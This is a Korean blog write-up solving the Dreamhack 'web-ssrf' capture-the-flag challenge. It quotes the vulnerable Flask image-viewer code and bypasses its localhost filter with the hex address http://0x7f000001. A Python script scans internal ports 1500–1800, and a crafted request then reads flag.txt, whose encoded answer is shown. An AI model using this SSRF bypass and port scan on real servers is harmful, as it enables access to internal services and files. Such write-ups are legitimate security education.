본문 바로가기

웹해킹

[드림핵] web-ssrf 풀이

728x90

이번 문제는 ssrf 취약점을 이용하는 것 같다

flag는 /app/flag.txt에 위치하는데 인지해야한다

 

 

 

문제 코드

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

 

문제코드를 보면 생각보다 단순하게 되어있다

/img_viewer 루트를 보면

url 객체에 있는 값을 가져와 urlparse로 http//netloc:111을 검사하는데

netloc부분이 localhost, 127.0.0.1인지 확인한다

이가 아니라면 try 부분을 진행하는데

이는 입력받은 값을 인코딩하고 이후 html로 랜더링하는 작업을 거친다

그렇다면 랜더링을 하는 값에 flag.txt루트를 추가해준다면

인코딩된 flag이미지를 얻을 수 있을것이다

 

주의해야할 점은 local_sever 부분을 확인하면

포트를 랜덤값으로 1500~1800값을 사용하는것을 알 수 있는데

이는 반복문으로 포트값을 알아내야 할것 같다

 

결론은

서버를 작동하는데 있는 포트는 상관이 없지만 

localhost를 사용하는데 사용되는 포트값은 랜덤으로 결정된다는 것이다

 

 

그렇다면 flag를 얻기위해 localhost우회, error.png를 실행하지 않는 포트 확인,

포트를 이용해 직접입력 flag 획득 순으로 진행하면 될것이다

 

 

 

error.png 확인

 

우선 localhost를 우회하는 방법을 사용할건데

localhost값을 16진수로 변환하는 방식을 사용할 것이다

http://0x7f000001 이를 사용할 것이다

 

http://0x7f000001:1715/flag.txt 입력

source 탭으로 html값 확인

 

iVB값을 가지고 있는것을 확인할 수 있다

 

 

 

 

payload

import requests

url = 'http://host3.dreamhack.games:10813/img_viewer'
fail = 'iVB'

for i in range (1500,1801):
    target = f"http://0x7f000001:{i}"
    data = {
        "url": target,
    }
    response = requests.post(url, data=data)

    if fail not in response.text:
        print(f'port number ::: {i}')
        break

url 객체 data를 사용하는 이유는 문제 코드의 url 객체의 값을 가져오기 때문이다

 

requests의 결과의 .text를 사용하면 html을 불러오는데
이때 오류가 난다면 iVB값을 html내에 포함하기 때문에 

포함하지 않을때의 포트값을 출력했다

 

 

결과

1715 포트 확인

 

 

사이트에 값 입력

http://0x7f000001:1715/flag.txt

이미지가 뭔가 이상해서 source 탭으로 확인

서버측 코드에서 이미지를 인코딩 했기 때문에

이를 디코딩 해주어야 한다

 

파이썬으로 한번 만들어보고 싶어 만들어봤다

import base64

data = "REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9"
print((base64.b64decode(data)).decode('utf-8'))

 

 

결과

flag 획득 성공

 

 

 

 

 

 

풀이 실패 과정

1. 문제 코드를 제대로 보지 않아서

/img_viewer/flag.txt값만 넣어도 0번 값이 /일때 localhost값을 

서버측에서 넣어줘서 우회가 필요없다고 생각했었다

 

2. render_template로 경로를 넣어줬을 때 flag를 어떻게 출력하는 건지

이해가 잘 안갔었다

'웹해킹' 카테고리의 다른 글

[드림핵] blind-command 풀이  (0) 2024.11.02
[드림핵] Carve Party 풀이  (0) 2024.11.02
[드림핵] command-injection-1 풀이  (0) 2024.10.10
[드림핵] Mango 풀이  (0) 2024.10.10
[드림핵] simple_sqli 풀이  (1) 2024.10.09